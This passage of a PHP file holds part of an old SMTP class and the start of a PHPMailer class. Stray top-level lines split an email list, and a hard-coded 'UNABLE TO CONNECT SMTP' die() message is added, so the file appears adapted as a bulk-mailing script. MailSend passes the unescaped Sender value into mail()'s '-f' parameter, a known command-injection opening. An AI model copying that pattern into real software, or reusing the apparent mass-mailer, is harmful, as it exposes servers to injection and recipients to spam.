1097 * Implements from rfc 821: QUIT <CRLF>
1098 *
1099 * SMTP CODE SUCCESS: 221
1100 * SMTP CODE ERROR : 500
1101 * @access public
1102 * @return bool
1103 */
1104 function Quit($close_on_error=true) {
1105 $this->error = null; # so there is no confusion
1106
1107 if(!$this->connected()) {
1108 $this->error = array(
1109 "error" => "Called Quit() without being connected");
1110 return false;
1111 }
1112
1113 # send the quit command to the server
1114 fputs($this->smtp_conn,"quit" . $this->CRLF);
1115
1116 # get any good-bye messages
1117 $byemsg = $this->get_lines();
1118
1119 if($this->do_debug >= 2) {
1120 echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
1121 }
1122
1123 $rval = true;
1124 $e = null;
1125
1126 $code = substr($byemsg,0,3);
1127 if($code != 221) {
1128 # use e as a tmp var cause Close will overwrite $this->error
1129 $e = array("error" => "SMTP server rejected quit command",
1130 "smtp_code" => $code,
1131 "smtp_rply" => substr($byemsg,4));
1132 $rval = false;
1133 if($this->do_debug >= 1) {
1134 echo "SMTP -> ERROR: " . $e["error"] . ": " .
1135 $byemsg . $this->CRLF;
1136 }
1137 }
1138
1139 if(empty($e) || $close_on_error) {
1140 $this->Close();
1141 }
1142
1143 return $rval;
1144 }
1145
1146 /**
1147 * Sends the command RCPT to the SMTP server with the TO: argument of $to.
1148 * Returns true if the recipient was accepted false if it was rejected.
1149 *
1150 * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
1151 *
1152 * SMTP CODE SUCCESS: 250,251
1153 * SMTP CODE FAILURE: 550,551,552,553,450,451,452
1154 * SMTP CODE ERROR : 500,501,503,421
1155 * @access public
1156 * @return bool
1157 */
1158 function Recipient($to) {
1159 $this->error = null; # so no confusion is caused
1160
1161 if(!$this->connected()) {
1162 $this->error = array(
1163 "error" => "Called Recipient() without being connected");
1164 return false;
1165 }
1166
1167 fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
1168
1169 $rply = $this->get_lines();
1170 $code = substr($rply,0,3);
1171
1172 if($this->do_debug >= 2) {
1173 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1174 }
1175
1176 if($code != 250 && $code != 251) {
1177 $this->error =
1178 array("error" => "RCPT not accepted from server",
1179 "smtp_code" => $code,
1180 "smtp_msg" => substr($rply,4));
1181 if($this->do_debug >= 1) {
1182 echo "SMTP -> ERROR: " . $this->error["error"] .
1183 ": " . $rply . $this->CRLF;
1184 }
1185 return false;
1186 }
1187 return true;
1188 }
1189
1190 /**
1191 * Sends the RSET command to abort and transaction that is
1192 * currently in progress. Returns true if successful false
1193 * otherwise.
1194 *
1195 * Implements rfc 821: RSET <CRLF>
1196 *
1197 * SMTP CODE SUCCESS: 250
1198 * SMTP CODE ERROR : 500,501,504,421
1199 * @access public
1200 * @return bool
1201 */
1202 function Reset() {
1203 $this->error = null; # so no confusion is caused
1204
1205 if(!$this->connected()) {
1206 $this->error = array(
1207 "error" => "Called Reset() without being connected");
1208 return false;
1209 }
1210
1211 fputs($this->smtp_conn,"RSET" . $this->CRLF);
1212
1213 $rply = $this->get_lines();
1214 $code = substr($rply,0,3);
1215
1216 if($this->do_debug >= 2) {
1217 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1218 }
1219
1220 if($code != 250) {
1221 $this->error =
1222 array("error" => "RSET failed",
1223 "smtp_code" => $code,
1224 "smtp_msg" => substr($rply,4));
1225 if($this->do_debug >= 1) {
1226 echo "SMTP -> ERROR: " . $this->error["error"] .
1227 ": " . $rply . $this->CRLF;
1228 }
1229 return false;
1230 }
1231
1232 return true;
1233 }
1234
1235 /**
1236 * Starts a mail transaction from the email address specified in
1237 * $from. Returns true if successful or false otherwise. If True
1238 * the mail transaction is started and then one or more Recipient
1239 * commands may be called followed by a Data command. This command
1240 * will send the message to the users terminal if they are logged
1241 * in.
1242 *
1243 * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
1244 *
1245 * SMTP CODE SUCCESS: 250
1246 * SMTP CODE SUCCESS: 552,451,452
1247 * SMTP CODE SUCCESS: 500,501,502,421
1248 * @access public
1249 * @return bool
1250 */
1251 function Send($from) {
1252 $this->error = null; # so no confusion is caused
1253
1254 if(!$this->connected()) {
1255 $this->error = array(
1256 "error" => "Called Send() without being connected");
1257 return false;
1258 }
1259
1260 fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
1261
1262 $rply = $this->get_lines();
1263 $code = substr($rply,0,3);
1264
1265 if($this->do_debug >= 2) {
1266 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1267 }
1268
1269 if($code != 250) {
1270 $this->error =
1271 array("error" => "SEND not accepted from server",
1272 "smtp_code" => $code,
1273 "smtp_msg" => substr($rply,4));
1274 if($this->do_debug >= 1) {
1275 echo "SMTP -> ERROR: " . $this->error["error"] .
1276 ": " . $rply . $this->CRLF;
1277 }
1278 return false;
1279 }
1280 return true;
1281 }
1282
1283 /**
1284 * Starts a mail transaction from the email address specified in
1285 * $from. Returns true if successful or false otherwise. If True
1286 * the mail transaction is started and then one or more Recipient
1287 * commands may be called followed by a Data command. This command
1288 * will send the message to the users terminal if they are logged
1289 * in and send them an email.
1290 *
1291 * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
1292 *
1293 * SMTP CODE SUCCESS: 250
1294 * SMTP CODE SUCCESS: 552,451,452
1295 * SMTP CODE SUCCESS: 500,501,502,421
1296 * @access public
1297 * @return bool
1298 */
1299 function SendAndMail($from) {
1300 $this->error = null; # so no confusion is caused
1301
1302 if(!$this->connected()) {
1303 $this->error = array(
1304 "error" => "Called SendAndMail() without being connected");
1305 return false;
1306 }
1307
1308 fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
1309
1310 $rply = $this->get_lines();
1311 $code = substr($rply,0,3);
1312
1313 if($this->do_debug >= 2) {
1314 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1315 }
1316
1317 if($code != 250) {
1318 $this->error =
1319 array("error" => "SAML not accepted from server",
1320 "smtp_code" => $code,
1321 "smtp_msg" => substr($rply,4));
1322 if($this->do_debug >= 1) {
1323 echo "SMTP -> ERROR: " . $this->error["error"] .
1324 ": " . $rply . $this->CRLF;
1325 }
1326 return false;
1327 }
1328 return true;
1329 }
1330
1331 /**
1332 * Starts a mail transaction from the email address specified in
1333 * $from. Returns true if successful or false otherwise. If True
1334 * the mail transaction is started and then one or more Recipient
1335 * commands may be called followed by a Data command. This command
1336 * will send the message to the users terminal if they are logged
1337 * in or mail it to them if they are not.
1338 *
1339 * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
1340 *
1341 * SMTP CODE SUCCESS: 250
1342 * SMTP CODE SUCCESS: 552,451,452
1343 * SMTP CODE SUCCESS: 500,501,502,421
1344 * @access public
1345 * @return bool
1346 */
1347 function SendOrMail($from) {
1348 $this->error = null; # so no confusion is caused
1349
1350 if(!$this->connected()) {
1351 $this->error = array(
1352 "error" => "Called SendOrMail() without being connected");
1353 return false;
1354 }
1355
1356 fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
1357
1358 $rply = $this->get_lines();
1359 $code = substr($rply,0,3);
1360
1361 if($this->do_debug >= 2) {
1362 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1363 }
1364
1365 if($code != 250) {
1366 $this->error =
1367 array("error" => "SOML not accepted from server",
1368 "smtp_code" => $code,
1369 "smtp_msg" => substr($rply,4));
1370 if($this->do_debug >= 1) {
1371 echo "SMTP -> ERROR: " . $this->error["error"] .
1372 ": " . $rply . $this->CRLF;
1373 }
1374 return false;
1375 }
1376 return true;
1377 }
1378
1379 /**
1380 * This is an optional command for SMTP that this class does not
1381 * support. This method is here to make the RFC821 Definition
1382 * complete for this class and __may__ be implimented in the future
1383 *
1384 * Implements from rfc 821: TURN <CRLF>
1385 *
1386 * SMTP CODE SUCCESS: 250
1387 * SMTP CODE FAILURE: 502
1388 * SMTP CODE ERROR : 500, 503
1389 * @access public
1390 * @return bool
1391 */
1392 function Turn() {
1393 $this->error = array("error" => "This method, TURN, of the SMTP ".
1394 "is not implemented");
1395 if($this->do_debug >= 1) {
1396 echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
1397 }
1398 return false;
1399 }
1400
1401 /**
1402 * Verifies that the name is recognized by the server.
1403 * Returns false if the name could not be verified otherwise
1404 * the response from the server is returned.
1405 *
1406 * Implements rfc 821: VRFY <SP> <string> <CRLF>
1407 *
1408 * SMTP CODE SUCCESS: 250,251
1409 * SMTP CODE FAILURE: 550,551,553
1410 * SMTP CODE ERROR : 500,501,502,421
1411 * @access public
1412 * @return int
1413 */
1414 function Verify($name) {
1415 $this->error = null; # so no confusion is caused
1416
1417 if(!$this->connected()) {
1418 $this->error = array(
1419 "error" => "Called Verify() without being connected");
1420 return false;
1421 }
1422
1423 fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
1424
1425 $rply = $this->get_lines();
1426 $code = substr($rply,0,3);
1427
1428 if($this->do_debug >= 2) {
1429 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1430 }
1431
1432 if($code != 250 && $code != 251) {
1433 $this->error =
1434 array("error" => "VRFY failed on name '$name'",
1435 "smtp_code" => $code,
1436 "smtp_msg" => substr($rply,4));
1437 if($this->do_debug >= 1) {
1438 echo "SMTP -> ERROR: " . $this->error["error"] .
1439 ": " . $rply . $this->CRLF;
1440 }
1441 return false;
1442 }
1443 return $rply;
1444 }
1445
1446 /*******************************************************************
1447 * INTERNAL FUNCTIONS *
1448 ******************************************************************/
1449
1450 /**
1451 * Read in as many lines as possible
1452 * either before eof or socket timeout occurs on the operation.
1453 * With SMTP we can tell if we have more lines to read if the
1454 * 4th character is '-' symbol. If it is a space then we don't
1455 * need to read anything else.
1456 * @access private
1457 * @return string
1458 */
1459 function get_lines() {
1460 $data = "";
1461 while($str = @fgets($this->smtp_conn,515)) {
1462 if($this->do_debug >= 4) {
1463 echo "SMTP -> get_lines(): \$data was \"$data\"" .
1464 $this->CRLF;
1465 echo "SMTP -> get_lines(): \$str is \"$str\"" .
1466 $this->CRLF;
1467 }
1468 $data .= $str;
1469 if($this->do_debug >= 4) {
1470 echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
1471 }
1472 # if the 4th character is a space then we are done reading
1473 # so just break the loop
1474 if(substr($str,3,1) == " ") { break; }
1475 }
1476 return $data;
1477 }
1478
1479}
1480
1481
1482$allemails = split("\n", $emaillist);
1483$numemails = count($allemails);
1484class PHPMailer {
1485
1486 /////////////////////////////////////////////////
1487 // PROPERTIES, PUBLIC
1488 /////////////////////////////////////////////////
1489
1490 /**
1491 * Email priority (1 = High, 3 = Normal, 5 = low).
1492 * @var int
1493 */
1494 var $Priority = 3;
1495
1496 /**
1497 * Sets the CharSet of the message.
1498 * @var string
1499 */
1500 var $CharSet = 'iso-8859-1';
1501
1502 /**
1503 * Sets the Content-type of the message.
1504 * @var string
1505 */
1506 var $ContentType = 'text/plain';
1507
1508 /**
1509 * Sets the Encoding of the message. Options for this are "8bit",
1510 * "7bit", "binary", "base64", and "quoted-printable".
1511
1512 * @var string
1513 */
1514 var $Encoding = '8bit';
1515
1516 /**
1517 * Holds the most recent mailer error message.
1518 * @var string
1519 */
1520 var $ErrorInfo = '';
1521
1522 /**
1523 * Sets the From email address for the message.
1524 * @var string
1525 */
1526 var $From = '';
1527
1528 /**
1529 * Sets the From name of the message.
1530 * @var string
1531 */
1532 var $FromName = '';
1533
1534 /**
1535 * Sets the Sender email (Return-Path) of the message. If not empty,
1536 * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
1537 * @var string
1538 */
1539 var $Sender = '';
1540
1541 /**
1542 * Sets the Subject of the message.
1543 * @var string
1544 */
1545 var $Subject = '';
1546
1547 /**
1548 * Sets the Body of the message. This can be either an HTML or text body.
1549 * If HTML then run IsHTML(true).
1550 * @var string
1551 */
1552 var $Body = '';
1553
1554 /**
1555 * Sets the text-only body of the message. This automatically sets the
1556 * email to multipart/alternative. This body can be read by mail
1557 * clients that do not have HTML email capability such as mutt. Clients
1558 * that can read HTML will view the normal Body.
1559 * @var string
1560 */
1561 var $AltBody = '';
1562
1563 /**
1564 * Sets word wrapping on the body of the message to a given number of
1565 * characters.
1566 * @var int
1567 */
1568 var $WordWrap = 0;
1569
1570 /**
1571 * Method to send mail: ("mail", "sendmail", or "smtp").
1572 * @var string
1573 */
1574 var $Mailer = 'mail';
1575
1576 /**
1577 * Sets the path of the sendmail program.
1578 * @var string
1579 */
1580 var $Sendmail = '/usr/sbin/sendmail';
1581
1582 /**
1583 * Path to PHPMailer plugins. This is now only useful if the SMTP class
1584 * is in a different directory than the PHP include path.
1585 * @var string
1586 */
1587 var $PluginDir = '';
1588
1589 /**
1590 * Holds PHPMailer version.
1591 * @var string
1592 */
1593 var $Version = "";
1594
1595 /**
1596 * Sets the email address that a reading confirmation will be sent.
1597 * @var string
1598 */
1599 var $ConfirmReadingTo = '';
1600
1601 /**
1602 * Sets the hostname to use in Message-Id and Received headers
1603 * and as default HELO string. If empty, the value returned
1604 * by SERVER_NAME is used or 'localhost.localdomain'.
1605 * @var string
1606 */
1607 var $Hostname = '';
1608
1609 /**
1610 * Sets the message ID to be used in the Message-Id header.
1611 * If empty, a unique id will be generated.
1612 * @var string
1613 */
1614 var $MessageID = '';
1615
1616 /////////////////////////////////////////////////
1617 // PROPERTIES FOR SMTP
1618 /////////////////////////////////////////////////
1619
1620 /**
1621 * Sets the SMTP hosts. All hosts must be separated by a
1622 * semicolon. You can also specify a different port
1623 * for each host by using this format: [hostname:port]
1624 * (e.g. "smtp1.example.com:25;smtp2.example.com").
1625 * Hosts will be tried in order.
1626 * @var string
1627 */
1628 var $Host = 'localhost';
1629
1630 /**
1631 * Sets the default SMTP server port.
1632 * @var int
1633 */
1634 var $Port = 25;
1635
1636 /**
1637 * Sets the SMTP HELO of the message (Default is $Hostname).
1638 * @var string
1639 */
1640 var $Helo = '';
1641
1642 /**
1643 * Sets connection prefix.
1644 * Options are "", "ssl" or "tls"
1645 * @var string
1646 */
1647 var $SMTPSecure = "";
1648
1649 /**
1650 * Sets SMTP authentication. Utilizes the Username and Password variables.
1651 * @var bool
1652 */
1653 var $SMTPAuth = false;
1654
1655 /**
1656 * Sets SMTP username.
1657 * @var string
1658 */
1659 var $Username = '';
1660
1661 /**
1662 * Sets SMTP password.
1663 * @var string
1664 */
1665 var $Password = '';
1666
1667 /**
1668 * Sets the SMTP server timeout in seconds. This function will not
1669 * work with the win32 version.
1670 * @var int
1671 */
1672 var $Timeout = 10;
1673
1674 /**
1675 * Sets SMTP class debugging on or off.
1676 * @var bool
1677 */
1678 var $SMTPDebug = false;
1679
1680 /**
1681 * Prevents the SMTP connection from being closed after each mail
1682 * sending. If this is set to true then to close the connection
1683 * requires an explicit call to SmtpClose().
1684 * @var bool
1685 */
1686 var $SMTPKeepAlive = false;
1687
1688 /**
1689 * Provides the ability to have the TO field process individual
1690 * emails, instead of sending to entire TO addresses
1691 * @var bool
1692 */
1693 var $SingleTo = false;
1694
1695 /////////////////////////////////////////////////
1696 // PROPERTIES, PRIVATE
1697 /////////////////////////////////////////////////
1698
1699 var $smtp = NULL;
1700 var $to = array();
1701 var $cc = array();
1702 var $bcc = array();
1703 var $ReplyTo = array();
1704 var $attachment = array();
1705 var $CustomHeader = array();
1706 var $message_type = '';
1707 var $boundary = array();
1708 var $language = array();
1709 var $error_count = 0;
1710 var $LE = "\n";
1711 var $sign_key_file = "";
1712 var $sign_key_pass = "";
1713
1714 /////////////////////////////////////////////////
1715 // METHODS, VARIABLES
1716 /////////////////////////////////////////////////
1717
1718 /**
1719 * Sets message type to HTML.
1720 * @param bool $bool
1721 * @return void
1722 */
1723 function IsHTML($bool) {
1724 if($bool == true) {
1725 $this->ContentType = 'text/html';
1726 } else {
1727 $this->ContentType = 'text/plain';
1728 }
1729 }
1730
1731 /**
1732 * Sets Mailer to send message using SMTP.
1733 * @return void
1734 */
1735 function IsSMTP() {
1736 $this->Mailer = 'smtp';
1737 }
1738
1739 /**
1740 * Sets Mailer to send message using PHP mail() function.
1741 * @return void
1742 */
1743 function IsMail() {
1744 $this->Mailer = 'mail';
1745 }
1746
1747 /**
1748 * Sets Mailer to send message using the $Sendmail program.
1749 * @return void
1750 */
1751 function IsSendmail() {
1752 $this->Mailer = 'sendmail';
1753 }
1754
1755 /**
1756 * Sets Mailer to send message using the qmail MTA.
1757 * @return void
1758 */
1759 function IsQmail() {
1760 $this->Sendmail = '/var/qmail/bin/sendmail';
1761 $this->Mailer = 'sendmail';
1762 }
1763
1764 /////////////////////////////////////////////////
1765 // METHODS, RECIPIENTS
1766 /////////////////////////////////////////////////
1767
1768 /**
1769 * Adds a "To" address.
1770 * @param string $address
1771 * @param string $name
1772 * @return void
1773 */
1774 function AddAddress($address, $name = '') {
1775 $cur = count($this->to);
1776 $this->to[$cur][0] = trim($address);
1777 $this->to[$cur][1] = $name;
1778 }
1779
1780 /**
1781 * Adds a "Cc" address. Note: this function works
1782 * with the SMTP mailer on win32, not with the "mail"
1783 * mailer.
1784 * @param string $address
1785 * @param string $name
1786 * @return void
1787 */
1788 function AddCC($address, $name = '') {
1789 $cur = count($this->cc);
1790 $this->cc[$cur][0] = trim($address);
1791 $this->cc[$cur][1] = $name;
1792 }
1793
1794 /**
1795 * Adds a "Bcc" address. Note: this function works
1796 * with the SMTP mailer on win32, not with the "mail"
1797 * mailer.
1798 * @param string $address
1799 * @param string $name
1800 * @return void
1801 */
1802 function AddBCC($address, $name = '') {
1803 $cur = count($this->bcc);
1804 $this->bcc[$cur][0] = trim($address);
1805 $this->bcc[$cur][1] = $name;
1806 }
1807
1808 /**
1809 * Adds a "Reply-To" address.
1810 * @param string $address
1811 * @param string $name
1812 * @return void
1813 */
1814 function AddReplyTo($address, $name = '') {
1815 $cur = count($this->ReplyTo);
1816 $this->ReplyTo[$cur][0] = trim($address);
1817 $this->ReplyTo[$cur][1] = $name;
1818 }
1819
1820 /////////////////////////////////////////////////
1821 // METHODS, MAIL SENDING
1822 /////////////////////////////////////////////////
1823
1824 /**
1825 * Creates message and assigns Mailer. If the message is
1826 * not sent successfully then it returns false. Use the ErrorInfo
1827 * variable to view description of the error.
1828 * @return bool
1829 */
1830 function Send() {
1831 $header = '';
1832 $body = '';
1833 $result = true;
1834
1835 if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
1836 $this->SetError($this->Lang('provide_address'));
1837 return false;
1838 }
1839
1840 /* Set whether the message is multipart/alternative */
1841 if(!empty($this->AltBody)) {
1842 $this->ContentType = 'multipart/alternative';
1843 }
1844
1845 $this->error_count = 0; // reset errors
1846 $this->SetMessageType();
1847 $header .= $this->CreateHeader();
1848 $body = $this->CreateBody();
1849
1850 if($body == '') {
1851 return false;
1852 }
1853
1854 /* Choose the mailer */
1855 switch($this->Mailer) {
1856 case 'sendmail':
1857 $result = $this->SendmailSend($header, $body);
1858 break;
1859 case 'smtp':
1860 $result = $this->SmtpSend($header, $body);
1861 break;
1862 case 'mail':
1863 $result = $this->MailSend($header, $body);
1864 break;
1865 default:
1866 $result = $this->MailSend($header, $body);
1867 break;
1868 //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
1869 //$result = false;
1870 //break;
1871 }
1872
1873 return $result;
1874 }
1875
1876 /**
1877 * Sends mail using the $Sendmail program.
1878 * @access private
1879 * @return bool
1880 */
1881 function SendmailSend($header, $body) {
1882 if ($this->Sender != '') {
1883 $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
1884 } else {
1885 $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
1886 }
1887
1888 if(!@$mail = popen($sendmail, 'w')) {
1889 $this->SetError($this->Lang('execute') . $this->Sendmail);
1890 return false;
1891 }
1892
1893 fputs($mail, $header);
1894 fputs($mail, $body);
1895
1896 $result = pclose($mail);
1897 if (version_compare(phpversion(), '4.2.3') == -1) {
1898 $result = $result >> 8 & 0xFF;
1899 }
1900 if($result != 0) {
1901 $this->SetError($this->Lang('execute') . $this->Sendmail);
1902 return false;
1903 }
1904 return true;
1905 }
1906
1907 /**
1908 * Sends mail using the PHP mail() function.
1909 * @access private
1910 * @return bool
1911 */
1912 function MailSend($header, $body) {
1913
1914 $to = '';
1915 for($i = 0; $i < count($this->to); $i++) {
1916 if($i != 0) { $to .= ', '; }
1917 $to .= $this->AddrFormat($this->to[$i]);
1918 }
1919
1920 $toArr = split(',', $to);
1921
1922 $params = sprintf("-oi -f %s", $this->Sender);
1923 if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
1924 $old_from = ini_get('sendmail_from');
1925 ini_set('sendmail_from', $this->Sender);
1926 if ($this->SingleTo === true && count($toArr) > 1) {
1927 foreach ($toArr as $key => $val) {
1928 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1929 }
1930 } else {
1931 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1932 }
1933 } else {
1934 if ($this->SingleTo === true && count($toArr) > 1) {
1935 foreach ($toArr as $key => $val) {
1936 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1937 }
1938 } else {
1939 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
1940 }
1941 }
1942
1943 if (isset($old_from)) {
1944 ini_set('sendmail_from', $old_from);
1945 }
1946
1947 if(!$rt) {
1948 $this->SetError($this->Lang('instantiate'));
1949 return false;
1950 }
1951
1952 return true;
1953 }
1954
1955 /**
1956 * Sends mail via SMTP using PhpSMTP (Author:
1957 * Chris Ryan). Returns bool. Returns false if there is a
1958 * bad MAIL FROM, RCPT, or DATA input.
1959 * @access private
1960 * @return bool
1961 */
1962 function SmtpSend($header, $body) {
1963 $error = '';
1964 $bad_rcpt = array();
1965
1966 if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
1967 return false;
1968 }
1969
1970 $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
1971 if(!$this->smtp->Mail($smtp_from)) {
1972 $error = $this->Lang('from_failed') . $smtp_from;
1973 $this->SetError($error);
1974 $this->smtp->Reset();
1975 return false;
1976 }
1977
1978 /* Attempt to send attach all recipients */
1979 for($i = 0; $i < count($this->to); $i++) {
1980 if(!$this->smtp->Recipient($this->to[$i][0])) {
1981 $bad_rcpt[] = $this->to[$i][0];
1982 }
1983 }
1984 for($i = 0; $i < count($this->cc); $i++) {
1985 if(!$this->smtp->Recipient($this->cc[$i][0])) {
1986 $bad_rcpt[] = $this->cc[$i][0];
1987 }
1988 }
1989 for($i = 0; $i < count($this->bcc); $i++) {
1990 if(!$this->smtp->Recipient($this->bcc[$i][0])) {
1991 $bad_rcpt[] = $this->bcc[$i][0];
1992 }
1993 }
1994
1995 if(count($bad_rcpt) > 0) { // Create error message
1996 for($i = 0; $i < count($bad_rcpt); $i++) {
1997 if($i != 0) {
1998 $error .= ', ';
1999 }
2000 $error .= $bad_rcpt[$i];
2001
2002 }
2003 $error = $this->Lang('recipients_failed') . $error;
2004 $this->SetError($error);
2005 $this->smtp->Reset();
2006 return false;
2007 }
2008
2009 if(!$this->smtp->Data($header . $body)) {
2010 $this->SetError($this->Lang('data_not_accepted'));
2011 $this->smtp->Reset();
2012 return false;
2013 }
2014 if($this->SMTPKeepAlive == true) {
2015 $this->smtp->Reset();
2016 } else {
2017 $this->SmtpClose();
2018 }
2019
2020 return true;
2021 }
2022
2023 /**
2024 * Initiates a connection to an SMTP server. Returns false if the
2025 * operation failed.
2026 * @access private
2027 * @return bool
2028 */
2029 function SmtpConnect() {
2030 if($this->smtp == NULL) {
2031 $this->smtp = new SMTP();
2032 }
2033
2034 $this->smtp->do_debug = $this->SMTPDebug;
2035 $hosts = explode(';', $this->Host);
2036 $index = 0;
2037 $connection = ($this->smtp->Connected());
2038
2039 /* Retry while there is no connection */
2040 while($index < count($hosts) && $connection == false) {
2041 $hostinfo = array();
2042 if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
2043 $host = $hostinfo[1];
2044 $port = $hostinfo[2];
2045 } else {
2046 $host = $hosts[$index];
2047 $port = $this->Port;
2048 }
2049
2050 if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
2051 if ($this->Helo != '') {
2052 $this->smtp->Hello($this->Helo);
2053 } else {
2054 $this->smtp->Hello($this->ServerHostname());
2055 }
2056
2057 $connection = true;
2058 if($this->SMTPAuth) {
2059 if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
2060 $this->SetError($this->Lang('authenticate'));
2061 $this->smtp->Reset();
2062 $connection = false;
2063 }
2064 }
2065 }
2066 $index++;
2067 }
2068 if(!$connection) {
2069 $this->SetError($this->Lang('connect_host'));
2070 }
2071
2072 return $connection;
2073 }
2074
2075 /**
2076 * Closes the active SMTP session if one exists.
2077 * @return void
2078 */
2079 function SmtpClose() {
2080 if($this->smtp != NULL) {
2081 if($this->smtp->Connected()) {
2082 $this->smtp->Quit();
2083 $this->smtp->Close();
2084 }
2085 }
2086 }
2087
2088 /**
2089 * Sets the language for all class error messages. Returns false
2090 * if it cannot load the language file. The default language type
2091 * is English.
2092 * @param string $lang_type Type of language (e.g. Portuguese: "br")
2093 * @param string $lang_path Path to the language file directory
2094 * @access public
2095 * @return bool
2096 */
2097 function SetLanguage($lang_type, $lang_path = 'language/') {
2098 if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
2099 include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
2100 } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
2101 include($lang_path.'phpmailer.lang-en.php');
2102 } else {
2103 $this->SetError('Could not load language file');
2104 return false;
2105 }
2106 $this->language = $PHPMAILER_LANG;
2107
2108 return true;
2109 }
2110
2111 /////////////////////////////////////////////////
2112 // METHODS, MESSAGE CREATION
2113 /////////////////////////////////////////////////
2114
2115 /**
2116 * Creates recipient headers.
2117 * @access private
2118 * @return string
2119 */
2120 function AddrAppend($type, $addr) {
2121 $addr_str = $type . ': ';
2122 $addr_str .= $this->AddrFormat($addr[0]);
2123 if(count($addr) > 1) {
2124 for($i = 1; $i < count($addr); $i++) {
2125 $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
2126 }
2127 }
2128 $addr_str .= $this->LE;
2129
2130 return $addr_str;
2131 }
2132
2133 /**
2134 * Formats an address correctly.
2135 * @access private
2136 * @return string
2137 */
2138 function AddrFormat($addr) {
2139 if(empty($addr[1])) {
2140 $formatted = $this->SecureHeader($addr[0]);
2141 } else {
2142 $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
2143 }
2144
2145 return $formatted;
2146 }
2147
2148 /**
2149 * Wraps message for use with mailers that do not
2150 * automatically perform wrapping and for quoted-printable.
2151 * Original written by philippe.
2152 * @access private
2153 * @return string
2154 */
2155 function WrapText($message, $length, $qp_mode = false) {
2156 $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
2157 // If utf-8 encoding is used, we will need to make sure we don't
2158 // split multibyte characters when we wrap
2159 $is_utf8 = (strtolower($this->CharSet) == "utf-8");
2160
2161 $message = $this->FixEOL($message);
2162 if (substr($message, -1) == $this->LE) {
2163 $message = substr($message, 0, -1);
2164 }
2165
2166 $line = explode($this->LE, $message);
2167 $message = '';
2168 for ($i=0 ;$i < count($line); $i++) {
2169 $line_part = explode(' ', $line[$i]);
2170 $buf = '';
2171 for ($e = 0; $e<count($line_part); $e++) {
2172 $word = $line_part[$e];
2173 if ($qp_mode and (strlen($word) > $length)) {
2174 $space_left = $length - strlen($buf) - 1;
2175 if ($e != 0) {
2176 if ($space_left > 20) {
2177 $len = $space_left;
2178 if ($is_utf8) {
2179 $len = $this->UTF8CharBoundary($word, $len);
2180 } elseif (substr($word, $len - 1, 1) == "=") {
2181 $len--;
2182 } elseif (substr($word, $len - 2, 1) == "=") {
2183 $len -= 2;
2184 }
2185 $part = substr($word, 0, $len);
2186 $word = substr($word, $len);
2187 $buf .= ' ' . $part;
2188 $message .= $buf . sprintf("=%s", $this->LE);
2189 } else {
2190 $message .= $buf . $soft_break;
2191 }
2192 $buf = '';
2193 }
2194 while (strlen($word) > 0) {
2195 $len = $length;
2196 if ($is_utf8) {
2197 $len = $this->UTF8CharBoundary($word, $len);
2198 } elseif (substr($word, $len - 1, 1) == "=") {
2199 $len--;
2200 } elseif (substr($word, $len - 2, 1) == "=") {
2201 $len -= 2;
2202 }
2203 $part = substr($word, 0, $len);
2204 $word = substr($word, $len);
2205
2206 if (strlen($word) > 0) {
2207 $message .= $part . sprintf("=%s", $this->LE);
2208 } else {
2209 $buf = $part;
2210 }
2211 }
2212 } else {
2213 $buf_o = $buf;
2214 $buf .= ($e == 0) ? $word : (' ' . $word);
2215
2216 if (strlen($buf) > $length and $buf_o != '') {
2217 $message .= $buf_o . $soft_break;
2218 $buf = $word;
2219 }
2220 }
2221 }
2222 $message .= $buf . $this->LE;
2223 }
2224
2225 return $message;
2226 }
2227
2228 /**
2229 * Finds last character boundary prior to maxLength in a utf-8
2230 * quoted (printable) encoded string.
2231 * Original written by Colin Brown.
2232 * @access private
2233 * @param string $encodedText utf-8 QP text
2234 * @param int $maxLength find last character boundary prior to this length
2235 * @return int
2236 */
2237 function UTF8CharBoundary($encodedText, $maxLength) {
